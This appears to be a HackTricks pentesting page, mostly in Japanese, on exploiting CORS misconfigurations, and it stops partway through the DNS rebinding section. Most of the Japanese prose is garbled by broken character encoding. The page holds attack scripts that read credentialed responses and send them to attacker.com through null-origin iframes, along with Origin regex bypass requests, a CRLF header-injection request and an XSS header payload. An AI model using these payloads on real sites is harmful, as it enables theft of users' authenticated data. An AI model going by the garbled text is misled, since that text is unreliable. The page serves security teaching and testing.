CORS - èšå®ãã¹ãšãã€ãã¹
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
CORSãšã¯ïŒ
Cross-Origin Resource Sharing (CORS)æšæºã¯ããµãŒããŒãã誰ããã®è³ç£ã«ã¢ã¯ã»ã¹ã§ãããããšãå€éšãœãŒã¹ããã©ã®HTTPãªã¯ãšã¹ãã¡ãœãããèš±å¯ããããããå®çŸ©ã§ããããã«ããŸãã
åäžãªãªãžã³ïŒsame-originïŒ ããªã·ãŒã¯ããªãœãŒã¹ãèŠæ±ãããµãŒããŒãšãã®ãªãœãŒã¹ããã¹ããããµãŒããŒãåããããã³ã«ïŒäŸ: http://ïŒããã¡ã€ã³åïŒäŸ: internal-web.comïŒãããã³ããŒãïŒäŸ: 80ïŒãå
±æããããšãèŠæ±ããŸãããã®ããªã·ãŒã®äžã§ã¯ãåäžã®ãã¡ã€ã³ãšããŒãããã®ãŠã§ãããŒãžã ãããªãœãŒã¹ã«ã¢ã¯ã»ã¹ã§ããŸãã
http://normal-website.com/example/example.html ã®ã³ã³ããã¹ãã§ã®åäžãªãªãžã³ããªã·ãŒã®é©çšã¯æ¬¡ã®éãã§ã:
| URL accessed | Access permitted? |
|---|---|
http://normal-website.com/example/ | ã¯ã: ã¹ããŒã ããã¡ã€ã³ãããŒããåäž |
http://normal-website.com/example2/ | ã¯ã: ã¹ããŒã ããã¡ã€ã³ãããŒããåäž |
https://normal-website.com/example/ | ããã: ã¹ããŒã ãšããŒããç°ãªã |
http://en.normal-website.com/example/ | ããã: ãã¡ã€ã³ãç°ãªã |
http://www.normal-website.com/example/ | ããã: ãã¡ã€ã³ãç°ãªã |
http://normal-website.com:8080/example/ | ããã: ããŒããç°ãªã* |
*Internet Explorerã¯åäžãªãªãžã³ããªã·ãŒã®é©çšã«ãããŠããŒãçªå·ãç¡èŠããããããã®ã¢ã¯ã»ã¹ãèš±å¯ããŸãã
Access-Control-Allow-Origin Header
ãã®ããããŒã¯è€æ°ã®ãªãªãžã³ãå€ã**nullããŸãã¯ã¯ã€ã«ãã«ãŒãã®*ãèš±å¯ããããšãã§ããŸããããããã©ã®ãã©ãŠã¶ãè€æ°ã®ãªãªãžã³ããµããŒãããŠããªãããšãã¯ã€ã«ãã«ãŒã*ã®äœ¿çšã«ã¯å¶é**ãããããšã«æ³šæããŠãã ãããïŒã¯ã€ã«ãã«ãŒãã¯åç¬ã§äœ¿çšããå¿
èŠããããAccess-Control-Allow-Credentials: trueãšäœµçšããããšã¯ã§ããŸãããïŒ
ãã®ããããŒã¯ããŠã§ããµã€ãããçºè¡ãããã¯ãã¹ãã¡ã€ã³ã®ãªãœãŒã¹èŠæ±ã«ãµãŒããŒãå¿çããéã«ãµãŒããŒåŽãçºè¡ããŸãããã©ãŠã¶ã¯èªåçã« Origin ããããŒã远å ããŸãã
Access-Control-Allow-Credentials Header
ããã©ã«ãã§ã¯ãã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ãã¯ã¯ãããŒã Authorization ããããŒãªã©ã®èªèšŒæ
å ±ãªãã§è¡ãããŸããããããã¯ãã¹ãã¡ã€ã³ã®ãµãŒããŒã¯ Access-Control-Allow-Credentials ããããŒã true ã«èšå®ããããšã§ãèªèšŒæ
å ±ãéä¿¡ãããå Žåã«ã¬ã¹ãã³ã¹ã®èªã¿åããèš±å¯ã§ããŸãã
true ã«èšå®ãããšããã©ãŠã¶ã¯ã¯ãããŒãauthorization ããããŒããŸã㯠TLS ã¯ã©ã€ã¢ã³ãèšŒææžãªã©ã®èªèšŒæ
å ±ãéä¿¡ããŸãã
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")
CSRF ãã¬ãã©ã€ããªã¯ãšã¹ã
ã¯ãã¹ãã¡ã€ã³éä¿¡ã«ããããã¬ãã©ã€ããªã¯ãšã¹ãã®çè§£
ã¯ãã¹ãã¡ã€ã³ãªã¯ãšã¹ããéå§ããéãäŸãã° éæšæºã® HTTP ã¡ãœããïŒHEADãGETãPOST 以å€ïŒãæ°ãã ããã㌠ã®è¿œå ããŸãã¯ç¹æ®ãª Content-Type ããããŒå€ ã䜿çšããå Žåãªã©ããã¬ãã©ã€ããªã¯ãšã¹ããå¿
èŠã«ãªãããšããããŸãããã®äºåãªã¯ãšã¹ã㯠OPTIONS ã¡ãœãããçšãããµãŒããŒã«å¯ŸããŠä»åŸè¡ãããã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ãã䜿çšããããšããŠãã HTTP ã¡ãœãããããããŒãªã©ã®æå³ãéç¥ããŸãã
Cross-Origin Resource Sharing (CORS) ãããã³ã«ã¯ãèš±å¯ãããŠããã¡ãœãããããããŒãOrigin ã®ä¿¡é Œæ§ãæ€èšŒããŠèŠæ±ãããã¯ãã¹ãªãªãžã³æäœãèš±å¯å¯èœãã©ããã倿ããããã«ãã®ãã¬ãã©ã€ããã§ãã¯ãèŠæ±ããŸãããã¬ãã©ã€ããªã¯ãšã¹ããäžèŠãšãªãæ¡ä»¶ã®è©³çްã«ã€ããŠã¯ãMozilla Developer Network (MDN) ã®å æ¬çãªã¬ã€ããåç §ããŠãã ããã
éèŠãªã®ã¯ããã¬ãã©ã€ããªã¯ãšã¹ããè¡ãããªãããšãã¬ã¹ãã³ã¹ã« Authorization ããããŒãå«ããå¿ èŠããªãããšãæå³ããªãããšããç¹ã§ãããããã®ããããŒããªããšããã©ãŠã¶ã¯ã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ãã®ã¬ã¹ãã³ã¹ãåŠçã§ããŸããã
以äžã¯ãPUT ã¡ãœãããš Special-Request-Header ãšããã«ã¹ã¿ã ããããŒã䜿çšããããšãããã¬ãã©ã€ããªã¯ãšã¹ãã®äŸã§ãïŒ
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
ã¬ã¹ãã³ã¹ãšããŠããµãŒããŒã¯èš±å¯ãããã¡ãœãããèš±å¯ããããªãªãžã³ãããã³äžã«ç€ºããããªãã®ä»ã® CORS ããªã·ãŒã®è©³çްã瀺ãããããŒãè¿ãå ŽåããããŸã:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers: ãã®ãããã¯ãå®éã®ãªã¯ãšã¹ãã§äœ¿çšã§ããããããæå®ããŸãããµãŒããèšå®ããã¯ã©ã€ã¢ã³ãããã®ãªã¯ãšã¹ãã§èš±å¯ãããŠãããããã瀺ããŸããAccess-Control-Expose-Headers: ãã®ããããéããŠããµãŒãã¯ãåçŽãªã¬ã¹ãã³ã¹ãããã«å ããŠã©ã®ããããã¬ã¹ãã³ã¹ã®äžéšãšããŠå ¬éã§ããããã¯ã©ã€ã¢ã³ãã«éç¥ããŸããAccess-Control-Max-Age: ãã®ãããã¯ãããªãã©ã€ããªã¯ãšã¹ãã®çµæãã©ããããã®æéãã£ãã·ã¥ã§ãããã瀺ããŸãããµãŒãã¯ãããªãã©ã€ããªã¯ãšã¹ãã§è¿ãããæ å ±ãåå©çšããåŸãæå€§æéïŒç§ïŒãèšå®ããŸããAccess-Control-Request-Headers: ããªãã©ã€ããªã¯ãšã¹ãã§äœ¿çšãããã¯ã©ã€ã¢ã³ããå®éã®ãªã¯ãšã¹ãã§äœ¿ãããHTTPãããããµãŒãã«ç¥ãããããã«ã¯ã©ã€ã¢ã³ããèšå®ããŸããAccess-Control-Request-Method: åããããªãã©ã€ããªã¯ãšã¹ãã§äœ¿çšãããã¯ã©ã€ã¢ã³ããå®éã«äœ¿çšããHTTPã¡ãœããã瀺ãããã«èšå®ããŸããOrigin: ãã®ãããã¯ãã©ãŠã¶ã«ãã£ãŠèªåçã«èšå®ãããã¯ãã¹ãªãªãžã³ãªã¯ãšã¹ãã®çºä¿¡å ã瀺ããŸãããµãŒãã¯CORSããªã·ãŒã«åºã¥ããåä¿¡ãããªã¯ãšã¹ããèš±å¯ãããæåŠãããã倿ããããã«ããã䜿çšããŸãã
Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
ãããã£ãŠãCORSã¯CSRFããã®é²åŸ¡ã«ã¯ãªããªãïŒãã ã圹ã«ç«ã€å Žåã¯ããïŒã
ããŒã«ã«ãããã¯ãŒã¯ãªã¯ãšã¹ãã®ããªãã©ã€ããªã¯ãšã¹ã
Access-Control-Request-Local-Network: ãã®ãããã¯ã¯ã©ã€ã¢ã³ãã®ãªã¯ãšã¹ãã«å«ãŸããåãåãããããŒã«ã«ãããã¯ãŒã¯å ã®ãªãœãŒã¹ã察象ãšããŠããããšã瀺ããŸãããµãŒãã«å¯Ÿããªã¯ãšã¹ããããŒã«ã«ãããã¯ãŒã¯å ããçºçããŠããããšãç¥ãããããŒã«ãŒãšããŠæ©èœããŸããAccess-Control-Allow-Local-Network: ãµãŒãã¯ãã®ãããã䜿ã£ãŠãèŠæ±ããããªãœãŒã¹ãããŒã«ã«ãããã¯ãŒã¯å€ã®ãšã³ãã£ãã£ãšå ±æãããããšãèš±å¯ããããšãäŒããŸããããã¯ç°ãªããããã¯ãŒã¯å¢çã§ãªãœãŒã¹å ±æãèš±å¯ããåå³ãšããŠæ©èœããã¢ã¯ã»ã¹ãå¶åŸ¡ãã€ã€ã»ãã¥ãªãã£ãããã³ã«ãç¶æããŸãã
A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
Warning
linux ã® 0.0.0.0 IP ã¯ããã® IP ã¢ãã¬ã¹ããlocalããšèŠãªãããªããããlocalhost ãžã®ã¢ã¯ã»ã¹èŠä»¶ã bypass ããããã«åäœããããšã«æ³šæããŠãã ããã
ãŸããããŒã«ã«ãšã³ããã€ã³ãã® public IP address of a local endpointïŒäŸ: ã«ãŒã¿ãŒã® public IPïŒã䜿çšãããšãbypass the Local Network requirements ã§ããå ŽåããããŸããããã€ãã®ã±ãŒã¹ã§ã¯ãpublic IP ã«ã¢ã¯ã»ã¹ããŠããŠããããã from the local network ã§ããã°ã¢ã¯ã»ã¹ãèš±å¯ãããŸãã
ã¯ã€ã«ãã«ãŒã
次ã®èšå®ãéåžžã«èš±å®¹çã«èŠããããã«æããŠããæ³šæããŠãã ããïŒ
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
ããã¯ãã©ãŠã¶ã§ã¯èš±å¯ãããŠãããããã®ãããã®èšå®ã§ã¯credentialsã¯ãªã¯ãšã¹ããšãšãã«éä¿¡ãããŸããã
Exploitable misconfigurations
Access-Control-Allow-Credentialsã**trueã«èšå®ããããšã¯ãã»ãšãã©ã®å®éã®æ»æ**ã«ãšã£ãŠåææ¡ä»¶ã§ãããšèгå¯ãããŠããŸãããã®èšå®ã¯ãã©ãŠã¶ãcredentialsãéä¿¡ãã¬ã¹ãã³ã¹ãèªã¿åãããšãèš±å¯ãããããæ»æã®æå¹æ§ãé«ããŸããããããªããã°ããã©ãŠã¶ã«ãªã¯ãšã¹ããçºè¡ãããå©ç¹ã¯æžå°ãããŠãŒã¶ãŒã®cookiesãå©çšããããšãäºå®äžäžå¯èœã«ãªããŸãã
Exception: Exploiting Network Location as Authentication
被害è ã®network locationãäžçš®ã®èªèšŒãšããŠæ©èœããäŸå€ããããŸããããã«ããã被害è ã®ãã©ãŠã¶ãproxyãšããŠå©çšããIP-based authenticationãè¿åããŠintranet applicationsãžã¢ã¯ã»ã¹ããããšãå¯èœã«ãªããŸãããã®ææ³ã¯DNS rebindingãšã€ã³ãã¯ããé¡äŒŒããŠããŸãããæªçšã¯ããç°¡åã§ãã
Reflection of Origin in Access-Control-Allow-Origin
Originãããã®å€ãAccess-Control-Allow-Originã«åæ ããããšããçŸå®çãªã·ããªãªã¯ããããã®ããããçµã¿åãããããšã«å¯Ÿããå¶çŽã®ããçè«äžããããã«ãããŸãããããããè€æ°ã®URLsã«å¯ŸããŠCORSãæå¹ã«ããããšããéçºè
ããOriginãããã®å€ãã³ããŒããŠAccess-Control-Allow-Originããããåçã«çæããããšããããŸãããã®æ¹æ³ã¯è匱æ§ãæãå¯èœæ§ããããç¹ã«æ»æè
ãæ£åœãããèŠããååã®ãã¡ã€ã³ã䜿ã£ãŠæ€èšŒããžãã¯ã欺ãå Žåã«åé¡ãšãªããŸãã
<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>
null ãªãªãžã³ã®æªçš
null ãªãªãžã³ã¯ããªãã€ã¬ã¯ããããŒã«ã«HTMLãã¡ã€ã«ãšãã£ãç¶æ³ã§æå®ãããç¹ç°ãªååšã§ããéçºã容æã«ããããã«ãã®ãªãªãžã³ããã¯ã€ããªã¹ãã«ç»é²ããŠããã¢ããªã±ãŒã·ã§ã³ãããããã®çµæãä»»æã®ãŠã§ããµã€ãã sandboxed iframe ãä»ã㊠null ãªãªãžã³ãæš¡å£ã§ããCORS å¶éãåé¿ããŠããŸãããšããããŸãã
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
æ£èŠè¡šçŸãã€ãã¹ææ³
ãã¡ã€ã³ã®ãã¯ã€ããªã¹ãã«ééããå Žåããã¯ã€ããªã¹ãæžã¿ãã¡ã€ã³ã«æ»æè ã®ãã¡ã€ã³ãä»å ãããããã㯠subdomain takeover è匱æ§ãæªçšãããªã©ããã€ãã¹ã®å¯èœæ§ããã¹ãããããšãéèŠã§ããããã«ããã¡ã€ã³æ€èšŒã«äœ¿çšãããæ£èŠè¡šçŸã¯ãã¡ã€ã³åœåèŠåã®åŸ®åŠãªéããèŠèœãšããã¡ã§ããããªããã€ãã¹æ©äŒãçãããšããããŸãã
é«åºŠãªæ£èŠè¡šçŸãã€ãã¹
æ£èŠè¡šçŸãã¿ãŒã³ã¯éåžžãè±æ°åãããã (.)ããã€ãã³ (-) ã®æåã«çç®ããä»ã®å¯èœæ§ãç¡èŠããã¡ã§ããããšãã°ããã©ãŠã¶ãšæ£èŠè¡šçŸã§è§£éãç°ãªãæåãå«ãããã«äœæãããã¡ã€ã³åã¯ãã»ãã¥ãªãã£ãã§ãã¯ãåé¿ã§ããŸãããµããã¡ã€ã³å ã®ã¢ã³ããŒã¹ã³ã¢ã®æ±ãã«ããã SafariãChromeãFirefox ã®æåã¯ããã®ãããªäžäžèŽããã¡ã€ã³æ€èšŒããžãã¯ãåé¿ããããã«ã©ã®ããã«æªçšãããããã瀺ããŠããŸãã
ãã®ãã€ãã¹ç¢ºèªã®è©³çްãšèšå®ã«ã€ããŠã¯ïŒ https://www.corben.io/advanced-cors-techniques/ ããã³ https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
.png)
ãµããã¡ã€ã³å ã® XSS ãã
éçºè ã¯ãã°ãã°ãæ å ±ããªã¯ãšã¹ãã§ãããã¡ã€ã³ããã¯ã€ããªã¹ãåããããšã§ CORS ã®æªçšã«å¯Ÿããé²åŸ¡ãå®è£ ããŸããããããããã®å¯Ÿçã«ãããããããã·ã¹ãã ã®ã»ãã¥ãªãã£ã¯å®å šã§ã¯ãããŸããããã¯ã€ããªã¹ãåããããã¡ã€ã³å ã«ãã£ã1ã€ã§ãè匱ãªãµããã¡ã€ã³ãååšãããšãXSS (Cross-Site Scripting) ã®ãããªä»ã®è匱æ§ãéã㊠CORS ã®æªçšãèš±ãå¯èœæ§ããããŸãã
äŸã瀺ãããã«ããã¡ã€ã³ requester.com ãå¥ã®ãã¡ã€ã³ provider.com ããã®ãªãœãŒã¹ã«ã¢ã¯ã»ã¹ããããã«ãã¯ã€ããªã¹ãã«ç»é²ãããŠããç¶æ³ãæ³å®ããŸãããµãŒããŒåŽã®èšå®ã¯æ¬¡ã®ããã«ãªã£ãŠãããããããŸããïŒ
if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}
ãã®æ§æã§ã¯ãrequester.com ã®ãã¹ãŠã®ãµããã¡ã€ã³ãã¢ã¯ã»ã¹ãèš±å¯ãããŠããŸãããããããããµããã¡ã€ã³ãäŸãã° sub.requester.com ã XSS è匱æ§ã«ãã£ãŠäŸµå®³ããããšãæ»æè
ã¯ãã®åŒ±ç¹ãæªçšã§ããŸããäŸãã°ãsub.requester.com ã«ã¢ã¯ã»ã¹ã§ããæ»æè
ã¯ãXSS è匱æ§ãå©çšã㊠CORS ããªã·ãŒããã€ãã¹ããprovider.com äžã®ãªãœãŒã¹ã«äžæ£ã«ã¢ã¯ã»ã¹ããå¯èœæ§ããããŸãã
ç¹æ®æå
PortSwiggerâs URL validation bypass cheat sheet ã¯ãäžéšã®ãã©ãŠã¶ããã¡ã€ã³åå ã§å¥åŠãªæåããµããŒãããŠããããšãçºèŠããŸããã
Chrome ãš Firefox ã¯ãOrigin ãããã®æ€èšŒã«äœ¿çšãããæ£èŠè¡šçŸããã€ãã¹ã§ããã¢ã³ããŒã¹ã³ã¢ _ ããµããŒãããŠããŸãïŒ
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true
Safari ã¯ãã¡ã€ã³åã«ãããç¹æ®æåã®æ±ããããã«ç·©ã:
GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
ãã®ä»ã®é¢çœãURLããªãã¯
Server-side cache poisoning
HTTP header injection ãéã㊠server-side cache poisoning ãæªçšããããšã§ãstored Cross-Site Scripting (XSS) è匱æ§ãèªçºãããå¯èœæ§ããããŸããããã¯ãã¢ããªã±ãŒã·ã§ã³ã Origin ããããŒãäžæ£ãªæåã«å¯ŸããŠãµãã¿ã€ãºããªãå Žåã«çºçããç¹ã« Internet Explorer ããã³ Edge ã®ãŠãŒã¶ãŒã«åœ±é¿ããŸãããããã®ãã©ãŠã¶ã¯ (0x0d) ãæ£åœãª HTTP header terminator ãšããŠæ±ãããã®çµæ HTTP header injection vulnerabilities ãåŒãèµ·ãããŸãã
Origin ããããŒãæäœããã以äžã®ãªã¯ãšã¹ããèããŠãã ããïŒ
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer ãš Edge ã¯ã¬ã¹ãã³ã¹ã次ã®ããã«è§£éããŸã:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the pageâs character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.
For further reading on stored XSS vulnerabilities, see PortSwigger.
泚æ: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.
Client-Side cache poisoning
ãã®ã·ããªãªã§ã¯ãã«ã¹ã¿ã HTTPããããŒã®å
容ãé©åã«ãšã³ã³ãŒãããã«åæ ãããŠã§ãããŒãžã®ã€ã³ã¹ã¿ã³ã¹ã芳å¯ãããŸããå
·äœçã«ã¯ããŠã§ãããŒãžã X-User-id ããããŒã«å«ãŸããå
容ãè¿ãããã®äžã«æªæããJavaScriptãå«ãŸããå¯èœæ§ããããŸããäŸã§ã¯ãããããŒã«èªã¿èŸŒã¿æã«JavaScriptãå®è¡ããããèšèšãããSVGã€ã¡ãŒãžã¿ã°ãå«ãŸããŠããŸãã
Cross-Origin Resource Sharing (CORS) ããªã·ãŒã¯ã«ã¹ã¿ã ããããŒã®éä¿¡ãèš±å¯ããŸããããããCORSå¶éã«ãããã©ãŠã¶ãã¬ã¹ãã³ã¹ãçŽæ¥ã¬ã³ããªã³ã°ããªãå Žåãããããæ³šå
¥ã®æçšæ§ã¯éå®çã«èŠãããããããŸãããéèŠãªã®ã¯ãã©ãŠã¶ã®ãã£ãã·ã¥åäœãèæ
®ããç¹ã§ããVary: Origin ããããŒãæå®ãããŠããªããšãæªæããã¬ã¹ãã³ã¹ããã©ãŠã¶ã«ãã£ãã·ã¥ãããå¯èœæ§ãçããŸãããã®çµæããã®ãã£ãã·ã¥ãããã¬ã¹ãã³ã¹ãçŽæ¥ã¬ã³ããªã³ã°ãããååãªã¯ãšã¹ãæã«çŽæ¥ã¬ã³ããªã³ã°ããå¿
èŠããªããªãå ŽåããããŸãããã®ä»çµã¿ã«ãããclient-side caching ãå©çšããŠæ»æã®ä¿¡é Œæ§ãé«ãŸããŸãã
ãã®æ»æã瀺ãããã«ãJSFiddleãªã©ã®ãŠã§ãããŒãžç°å¢ã§å®è¡ãããããšãæ³å®ããJavaScriptã®äŸãçšæãããŠããŸãããã®ã¹ã¯ãªããã¯åçŽãªåäœãè¡ããŸãïŒæªæããJavaScriptãå«ãã«ã¹ã¿ã ããããŒãä»ããŠæå®ããURLãžãªã¯ãšã¹ããéä¿¡ããŸãããªã¯ãšã¹ããæ£åžžã«å®äºãããšãã¿ãŒã²ããURLãžé·ç§»ããVary: Origin ããããŒãé©åã«æ±ãããã«ã¬ã¹ãã³ã¹ããã£ãã·ã¥ãããŠããå Žåãæ³šå
¥ãããã¹ã¯ãªããã®å®è¡ãåŒãèµ·ããå¯èœæ§ããããŸãã
Hereâs a summarized breakdown of the JavaScript used to execute this attack:
<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>
ãã€ãã¹
XSSI (Cross-Site Script Inclusion) / JSONP
XSSIïŒå¥å Cross-Site Script InclusionïŒã¯ãscript ã¿ã°ã§ãªãœãŒã¹ãèªã¿èŸŒãéã« Same Origin Policy (SOP) ãé©çšãããªãç¹ãæªçšããè匱æ§ã®äžçš®ã§ããscript ã¯ç°ãªããã¡ã€ã³ããèªã¿èŸŒãŸããããšã蚱容ãããããããã®ä»çµã¿ãå©çšããŠæ»æè ã script ã¿ã°ã§èªã¿èŸŒãŸããä»»æã®ã³ã³ãã³ãã«ã¢ã¯ã»ã¹ã»é²èЧã§ããŠããŸããŸãã
ãã®è匱æ§ã¯ãåç㪠JavaScript ã JSONPïŒJSON with PaddingïŒãç¹ã« cookie ã®ãã㪠ambient-authority æ å ±ãèªèšŒã«äœ¿ãããŠããå Žåã«é倧ã«ãªããŸããç°ãªããã¹ããžãªã¯ãšã¹ãããéã« cookie ãä»äžãããã°ããããæ»æè ã«å©çšãããå¯èœæ§ããããŸãã
è§£æã»ç·©åã®ããã«ãBurpSuite ã®ãã©ã°ã€ã³ïŒhttps://github.com/kapytein/jsonpïŒãå©çšãããšäŸ¿å©ã§ãããã®ãã©ã°ã€ã³ã¯ XSSI ã®å¯èœæ§ãæ€åºããã®ã«åœ¹ç«ã¡ãŸãã
Read more about the difefrent types of XSSI and how to exploit them here.
ãªã¯ãšã¹ãã« callback ãã©ã¡ãŒã¿ã远å ããŠã¿ãŠãã ãããããŒãžã JSONP ãè¿ãããæºåãããŠããå ŽåãContent-Type: application/javascript ã§ããŒã¿ãè¿ããCORS ããªã·ãŒãåé¿ã§ããå¯èœæ§ããããŸãã
.png)
Easy (useless?) bypass
Access-Control-Allow-Origin å¶éãåé¿ããç°¡åãªæ¹æ³ã®äžã€ã¯ã察象㮠Web ã¢ããªã«ä»£ããã«ãªã¯ãšã¹ããè¡ã£ãŠãããããã®ã¬ã¹ãã³ã¹ãè¿ããŠãããããšã§ãããã ãããã®ã±ãŒã¹ã§ã¯æçµçãªè¢«å®³è
ã®è³æ Œæ
å ±ã¯å¥ãã¡ã€ã³ãžã®ãªã¯ãšã¹ãã«ãªãããéä¿¡ãããŸããã
- CORS-escape: ãã®ããŒã«ã¯ãªã¯ãšã¹ããšãã®ãããã転éãã€ã€ãOrigin ããããèŠæ±ãã¡ã€ã³ã«åœè£ ãããããã·ãæäŸããŸããããã«ãã CORS ããªã·ãŒãå®è³ªçã«ãã€ãã¹ã§ããŸããXMLHttpRequest ã®äœ¿çšäŸãªã©ããããŸãã
- simple-cors-escape: ãªã¯ãšã¹ãããã®ãŸãŸæµãã®ã§ã¯ãªãããµãŒããŒåŽãæå®ããããã©ã¡ãŒã¿ã§ç¬èªã«ãªã¯ãšã¹ããè¡ã代æ¿ã¢ãããŒããæäŸããŸãã
Iframe + Popup Bypass
iframe ãäœæããããããæ°ãããŠã£ã³ããŠãéãããšã§ãe.origin === window.origin ã®ãã㪠CORS ãã§ãã¯ããã€ãã¹ã§ããŸãã詳ããã¯ãã¡ãã®ããŒãžãåç
§ããŠãã ãã:
DNS Rebinding via TTL
DNS rebinding via TTL ã¯ãDNS ã¬ã³ãŒããæäœããŠäžéšã®ã»ãã¥ãªãã£å¯Ÿçãåé¿ããææ³ã§ããä»çµã¿ã¯æ¬¡ã®éãã§ãïŒ
- æ»æè ãããŒãžãäœãã被害è ã«ã¢ã¯ã»ã¹ãããã
- æ»æè ã¯èªåã®ãã¡ã€ã³ã® DNSïŒIPïŒã被害è ã®ããŒãžãžåãããã倿Žããã
- 被害è ã®ãã©ãŠã¶ã¯ DNS å¿çããã£ãã·ã¥ããTTLïŒTime to LiveïŒã«åŸã£ãп广éãä¿æããã
- TTL ãåãããšãã©ãŠã¶ã¯æ°ã㪠DNS ãªã¯ãšã¹ããè¡ããæ»æè ã¯è¢«å®³è ããŒãžäžã§ JavaScript ãå®è¡ã§ããããã«ãªãã
- æ»æè ã被害è ã® IP ãå¶åŸ¡ããããšã§ã被害è ãµãŒããŒãž cookie ãéãããšãªãæ å ±ãåéã§ããŸãã
ãã ãããã©ãŠã¶ã«ã¯ãã£ãã·ã¥æ©æ§ããããäœã TTL å€ã§ãå³åº§ã®æªçšãé²ãå ŽåããããŸãã
DNS rebinding ã¯ã被害è åŽã®æç€ºç㪠IP ãã§ãã¯ãåé¿ãããããŠãŒã¶ãããããé·æéåäžããŒãžãéãããŸãŸã«ãããããªç¶æ³ã§ãã£ãã·ã¥ãåããã®ãçãã®ã«æçšã§ãã
æè»œã«è©Šãã«ã¯ https://lock.cmpxchg8b.com/rebinder.html ã®ãããªãµãŒãã¹ãå©çšã§ããŸãã
ç¬èªã® DNS rebinding ãµãŒããŒãç«ãŠãã«ã¯ DNSrebinderïŒhttps://github.com/mogwailabs/DNSrebinderïŒçã䜿ããŸããããã¯ããŒã«ã«ã®ããŒã 53/udp ãå ¬éããA ã¬ã³ãŒãã§ãããæãïŒäŸ: ns.example.comïŒãããã« NS ã¬ã³ãŒãã§å ã»ã©ã® A ãµããã¡ã€ã³ãæãèšå®ã«ããããšã§åäœããŸããns.example.com ã®ä»»æã®ãµããã¡ã€ã³ã¯ãã¹ãåŽã§è§£æ±ºãããããã«ãªããŸãã
ãŸããå ¬éããããµãŒããŒã®äŸãšã㊠http://rebind.it/singularity.html ãåèã«ãªããŸãã
DNS Rebinding via DNS Cache Flooding
DNS cache flooding ã«ãã DNS rebinding ã¯ããã©ãŠã¶ã®ãã£ãã·ã¥æ©æ§ãç Žãå床㮠DNS ãªã¯ãšã¹ãã匷å¶ããå¥ã®ææ³ã§ããæé ã¯æ¬¡ã®éãã§ãïŒ
